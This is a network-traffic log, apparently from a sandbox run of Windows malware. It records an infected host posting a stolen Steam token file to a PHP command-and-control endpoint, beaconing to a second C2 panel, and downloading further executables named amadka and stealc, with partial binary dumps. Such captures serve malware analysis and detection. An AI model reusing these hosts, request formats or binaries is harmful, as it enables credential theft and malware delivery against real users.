Jul 1, 2024 07:20:48.515587091 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJK Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="file"------KEGIDHJKKJDGCBGCGIJK--
Jul 1, 2024 07:20:49.215851068 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 1, 2024 07:20:49.242614031 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKK Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------GIEGHJEGHJKFIEBFHJKKContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------GIEGHJEGHJKFIEBFHJKKContent-Disposition: form-data; name="message"jbdtaijovg------GIEGHJEGHJKFIEBFHJKK--
Jul 1, 2024 07:20:49.954461098 CEST	331	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49714	77.91.77.81	80	6408	C:\Users\user\Desktop\Rnteb46TuM.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:20:49.963017941 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 1, 2024 07:20:50.679497957 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:20:50 GMT Content-Type: application/octet-stream Content-Length: 1891840 Last-Modified: Mon, 01 Jul 2024 03:45:22 GMT Connection: keep-alive ETag: "66822652-1cde00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELaf@K@pK!@Xl"K`"K @.rsrc@.idata @ *@wcjrprme`1@aczpyjwy0K@.taggant0@K"@
Jul 1, 2024 07:20:50.679512978 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 1, 2024 07:20:50.679770947 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 1, 2024 07:20:50.679784060 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 1, 2024 07:20:50.679794073 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 1, 2024 07:20:50.679868937 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: (HsJ9[PESc1
Jul 1, 2024 07:20:50.679882050 CEST	1236	IN	Data Raw: 9f ad 24 89 42 bb 61 fa f3 16 3c ac c6 5f b9 48 ae d7 1d 6e d4 7d 63 57 2c 37 9d 6f 8e 83 bd fa aa f4 11 08 bb 17 63 a3 42 eb be 73 8b 83 8d 57 94 f3 a5 f8 86 a7 5e b3 78 3b 8f 77 a1 8b bd ec c6 1b 93 6e a7 7c ee 07 42 ab 8c 84 42 17 92 a0 0d 03 Data Ascii: $Ba<_Hn}cW,7ocBsW^x;wn\|BB<t4m\|`9s`b/LC!NT_l3[H/f+W$iC!},;bot}c[).+cXt:3oo+[x/`$!wexc`~lWE
Jul 1, 2024 07:20:50.679893970 CEST	672	IN	Data Raw: a3 13 21 cf dd f7 0c cd 66 8a 7d a4 2d 79 60 51 a7 2a b4 3e 29 83 e6 a0 92 03 a8 28 a6 3c 3f 70 08 cb 0d 8b 8f 67 c4 1e a9 12 8a a8 f6 26 63 ac fe c7 50 6e 35 8a 3a 40 13 54 bd b2 ea 99 d0 bf 00 75 a2 b3 7a b4 14 06 2b 2f a3 d7 4a b7 22 01 0e 5e Data Ascii: !f}-y`Q*>)(<?pg&cPn5:@Tuz+/J"^"[YS" 6~Or8M{3AkycH=@F!!E(]Zt;B'EyRN[^{%HG!Rhhsrj_DRZNl2[g<yN{7]Ty_tn`P
Jul 1, 2024 07:20:50.679954052 CEST	1236	IN	Data Raw: 79 a6 f5 1c 32 56 04 28 33 57 5e 2b 4d c4 e7 6f 5c 63 1f 62 d6 19 40 b4 b6 60 30 89 60 66 3c f8 28 63 67 da fb 3c 73 2b 65 7a 82 f8 8b b7 bc e3 ee 80 a3 9a c2 55 1f 91 45 35 93 2f 22 57 62 4a 17 d9 1d 91 63 01 eb ef ee 97 bd 31 d8 03 b2 28 57 33 Data Ascii: y2V(3W^+Mo\cb@`0`f<(cg<s+ezUE5/"WbJc1(W3^{qF?O@lAx.`}n9hnJ.kax4H9_LG$A$x\|&\|C5T6#pu~[zAF!;:k':lBlsx(!$RZl4["hmes
Jul 1, 2024 07:20:50.679964066 CEST	224	IN	Data Raw: 37 e9 76 25 3f 01 63 e7 36 98 b1 07 9f 6f 71 a3 8d c6 da 03 60 ac 09 98 86 5b db 4d bf cd a1 49 1f 0d b7 0c 15 87 49 9f fa 16 b8 9c 96 cf d4 7c 63 a3 2d 2f 7e f5 67 29 9d 23 30 31 06 e5 66 b6 68 7a 76 bb 3c 92 77 86 5b b5 ba 26 72 5b 32 8a 61 d8 Data Ascii: 7v%?c6oq`[MII\|c-/~g)#01fhzv<w[&r[2aAH2~6kgT5f+D]gq+'+!NJ*D\|Cb_/>+I\|G,4%1U=?c^.A4_$C#\|ME
Jul 1, 2024 07:20:50.684385061 CEST	1236	IN	Data Raw: 8a 25 58 7f 1e b9 bd f6 66 17 67 a5 cb 7a a4 ef a6 35 29 e4 46 63 a1 8c 3b 6a 9c 87 4b a8 7e 10 9d c2 bd 9a da 3b ed 63 2b 72 b9 b6 78 d4 ad e0 55 01 30 90 75 f2 eb 98 43 33 c4 fe bf 24 39 76 7e f3 b2 61 27 58 40 23 2f 57 78 7d 9b 28 e0 37 bb 96 Data Ascii: %Xfgz5)Fc;jK~;c+rxU0uC3$9v~a'X@#/Wx}(7u^rUSLjH!#zNq%I]O:z'$+vm.)bY>]\4#XexoFUry\j4L9((Jh5m1(Y2N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49725	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:20:59.307748079 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:20:59.994096994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:20:59.995404005 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:00.214481115 CEST	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49726	77.91.77.81	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:00.301507950 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jul 1, 2024 07:21:00.994640112 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:00 GMT Content-Type: application/octet-stream Content-Length: 2564096 Last-Modified: Mon, 01 Jul 2024 04:14:30 GMT Connection: keep-alive ETag: "66822d26-272000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 dc 95 c0 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 c0 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELuf!@@ @@@0!@@Pp# @z#(@.data""4@
Jul 1, 2024 07:21:00.994666100 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 57 15 04 7f 95 b2 ae f4 b9 43 b0 aa fe 64 ca 3f d5 b8 85 53 52 36 11 77 4a Data Ascii: WCd?SR6wJk}}-~s\|F<r%mrp.Pf]_Hk $7A="+1L]l{-15U%i@~yoHU&\s@"V_Cb@KJ cN
Jul 1, 2024 07:21:00.994685888 CEST	1236	IN	Data Raw: 27 80 96 ab 5a ff d1 31 d8 db c5 a1 c2 d3 96 e7 5f ac f8 d3 db 5a e0 04 f2 f5 76 2a 2d b7 30 71 fc 74 56 fa ce a6 3c f3 3b 2d 01 2a d9 7b ef 25 ac 09 ef e4 b6 6c 7c 00 c6 f1 4f 81 e7 3d d8 3c 2d 51 c9 35 12 8f 54 8c 03 32 bd 0d 7d c4 60 ed 2b 74 Data Ascii: 'Z1_Zv-0qtV<;-{%l\|O=<-Q5T2}`+tv.3-OJaO+Jm=Jg5KkaF#L(4^m<mp%^~d;+S9&Dfu<5]0[A9)c+Qu&J[Wv
Jul 1, 2024 07:21:00.994699001 CEST	1236	IN	Data Raw: 8f 38 bd a7 a1 39 47 11 6b ae 6c 5b 1e 1a e3 34 22 bd 4c b8 f2 7e 53 0e cc cc 0e 37 97 1a aa 7c c8 d9 d4 c7 fb 66 5c 9a 66 6b 0a d5 dd 49 7b e2 10 a2 02 f2 1f 05 d6 c7 be 8c 3d 75 af 93 91 aa 56 93 14 e9 f3 dc f1 f9 6f 01 83 1c 68 69 6a c3 e9 c4 Data Ascii: 89Gkl[4"L~S7\|f\fkI{=uVohijK ;dY2Q?D!^oh@3-W[iXg\)\yLnk@F$'frZ%iV1gt@~L]#TDY,s~7A[^^u2\|a
Jul 1, 2024 07:21:00.994710922 CEST	896	IN	Data Raw: ce c2 c5 46 6e e1 04 16 46 23 74 9b f5 46 05 1e a3 2f 3d df 29 ea 07 0f d2 3c c9 34 68 cd 28 0e d2 f3 2a d0 18 20 3d ac ec 9a 17 4f 89 d7 0a ce c5 34 b2 3b 1e 10 52 43 26 a5 48 cf 9e 3c 6b 57 65 a0 2a 4a 5a bd 07 a9 58 79 30 27 0b fc 35 99 3c e0 Data Ascii: FnF#tF/=)<4h(* =O4;RC&H<kWe*JZXy0'5<uk,Z^:{%NS+1:!EL6"sr%_abz!IzMdEv&/'T'dcVG:a{3jP@m:EzdVZ+cv'HE
Jul 1, 2024 07:21:00.994826078 CEST	1236	IN	Data Raw: 78 46 9f 8f b9 94 48 2d 50 84 c4 1a 25 9c 8a 61 51 a1 e4 7d b2 dc 51 d6 fa 30 d4 0a cd 0f b4 8e d0 a2 cc a3 e5 27 f9 44 52 27 e1 93 8d dd 58 48 9e 65 9e d2 82 aa d4 50 ad f5 f1 9f 08 30 fb 3e 2c 4f 35 33 db 5a 56 3d c7 51 38 40 cc b6 f0 20 18 a8 Data Ascii: xFH-P%aQ}Q0'DR'XHeP0>,O53ZV=Q8@ \m!BX~%fQC>[vA{G5ZO9tyAY,Z^u!~$+NutU><JH^Ya".8>Ihua]ZshhSd`}
Jul 1, 2024 07:21:00.994841099 CEST	1236	IN	Data Raw: ac 36 79 3c 65 a7 97 b0 45 c4 d5 00 f9 31 fc 5e 2b e5 c7 b8 2c eb d6 db 79 fe 69 1b 06 96 0b 91 04 78 bf 40 97 65 ce de 13 fd 8a 6b f1 f9 19 6a f5 8a 5e f9 e1 36 11 b0 f2 f3 15 95 e7 98 89 cf 26 e3 fe 70 b2 74 fc 45 73 4a 02 b9 73 a0 75 76 38 1f Data Ascii: 6y<eE1^+,yix@ekj^6&ptEsJsuv8"<L)uX\2^{snZr8u+- $ZW6&/?kHd`-1Ggz:kg@a9U2@^]Pxq6URK)k\|qU`z>8k
Jul 1, 2024 07:21:00.994852066 CEST	1236	IN	Data Raw: 2d 24 dd a0 f2 53 7f cc 5f 58 d9 b9 8f 0c d3 fd 07 1d d9 cf af 9d dd 3f 96 b7 17 2f f2 ea fa 8e 58 1f 4b 35 e7 17 ec 38 29 d9 de a3 ae 7d 47 1c e7 33 69 47 0c 07 04 dd ed 23 a5 63 79 f2 a2 e5 12 ee e8 02 10 28 84 5d 98 b0 3e eb 9e 2f 59 4c 36 f9 Data Ascii: -$S_X?/XK58)}G3iG#cy(]>/YL6r1;+gt',Z7_oWU,&;"IzK=oVvPXp`t\|@Z~iHX#u/<pO3Akds7qiZrY8pi?(iuZsFN^Z+{^\*E
Jul 1, 2024 07:21:00.994864941 CEST	1236	IN	Data Raw: 60 f0 0a 02 aa fb df 4a d3 18 94 7f 87 0c 3e 4e dc d3 82 c6 2f ca 5a 1b 2c 1f 0e 3a 4c 8f 68 fe d2 a8 6b 66 a6 73 e6 2d 97 9e 6b f1 06 ec 30 ce 10 5b 84 e8 46 a7 08 f7 1f 6f 7f b6 ce cd bf 09 4b e9 06 b0 5f 8e 66 29 3f 1a fd 17 23 8c 72 af 7f 39 Data Ascii: `J>N/Z,:Lhkfs-k0[FoK_f)?#r92{x-a~J h}]9<;{Zr?kvJ_j6}D'~E\1vu-2#$Tz`/.<rm$I`G$~4jo=2h
Jul 1, 2024 07:21:00.994877100 CEST	1236	IN	Data Raw: 9b 12 27 ab 74 b1 51 fb 4c 2d b3 c8 d4 80 38 37 c3 a2 53 0c 27 08 8c 24 92 63 6b 16 67 7b 61 bc 5c 36 39 3a 32 f7 d0 38 dc 99 58 bf ed ce 0b 13 4d 5e 40 6d 3d 3d 9f b0 3c cf 76 a8 79 ec cb 17 28 69 76 cc 4b d0 a0 a7 78 25 74 62 d6 55 a2 6b b3 90 Data Ascii: 'tQL-87S'$ckg{a\69:28XM^@m==<vy(ivKx%tbUkEouK2FroOY&.:J#B{`aXX`Un}n~4NZR~U,>m ,&CXZ3'3`:SaEsa'.;'zGa5=`{[Exh
Jul 1, 2024 07:21:00.999766111 CEST	1236	IN	Data Raw: 33 82 22 2e 34 8d 6a 8b 49 2b 62 73 06 bc e2 56 65 9e c7 f4 6c b8 cf 23 ea da fb dd 80 3d 81 13 e7 90 e6 db 8f 33 b4 a1 86 13 05 ae 90 50 aa 26 fb cd 54 3b c6 6c 26 38 c7 47 8b b0 68 39 e5 d0 06 89 87 82 2c 87 4b 41 7f 6a a9 aa 4f a8 5a 6a 08 fb Data Ascii: 3".4jI+bsVel#=3P&T;l&8Gh9,KAjOZjX_bFA~\|R lTY\5O 8ertdwoUw725btsG%}~-H2? &XZ#:`?2(:S.u=?bvf@*`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49728	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:03.752509117 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Jul 1, 2024 07:21:04.461184025 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49729	85.28.47.4	80	6448	C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:03.765412092 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGH Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 30 30 34 37 42 42 42 30 42 38 33 39 34 36 30 39 38 34 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 2d 2d 0d 0a Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="hwid"F10047BBB0B83946098432------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="build"default------JEGHJDGIJECGDHJJECGH--
Jul 1, 2024 07:21:04.390774965 CEST	211	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:21:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49730	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:04.580526114 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:05.294370890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
